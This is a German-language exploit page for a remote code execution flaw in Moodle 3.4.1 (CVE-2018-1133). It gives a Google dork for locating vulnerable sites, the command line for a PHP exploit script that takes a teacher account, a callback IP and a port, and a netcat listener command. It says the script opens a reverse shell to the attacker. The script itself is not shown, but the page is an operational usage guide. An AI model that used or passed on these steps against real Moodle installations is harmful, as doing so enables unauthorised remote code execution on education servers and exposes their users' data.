Moodle Exploit

• Exploit-Titel: Moodle v3.4.1 RCE Exploit
• Google Dork: inurl:"/course/jumpto.php?jump="
• Datum: 15. März 2019
• Exploit-Autor: Darryn Ten
• Hersteller-Homepage: https://moodle.org
• Software-Link: https://github.com/moodle/moodle/archive/v3.4.1.zip
• Version: 3.4.1 (möglicherweise < 3.5.0 und vielleicht sogar 3.x)
• Getestet auf: Linux mit Moodle v3.4.1
• CVE: CVE-2018-1133

Ein Benutzer mit der Lehrerrolle kann beliebigen Code ausführen.

Verwendung

php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1

user       The account username
pass       The password to the account
ip         Callback IP
port       Callback Port
course     Valid course ID belonging to the teacher

Stelle sicher, dass du einen Netcat-Listener auf dem angegebenen Port laufen lässt, bevor du dieses Skript ausführst.

nc -lnvp 1010

Dieses Skript versucht, eine Reverse-Shell zur angegebenen IP und zum angegebenen Port zu öffnen.

Hinweise

Dieser Exploit basiert auf Informationen von Robin Peraglie.

Weiterführende Lektüre: https://blog.ripstech.com/2018/moodle-remote-code-execution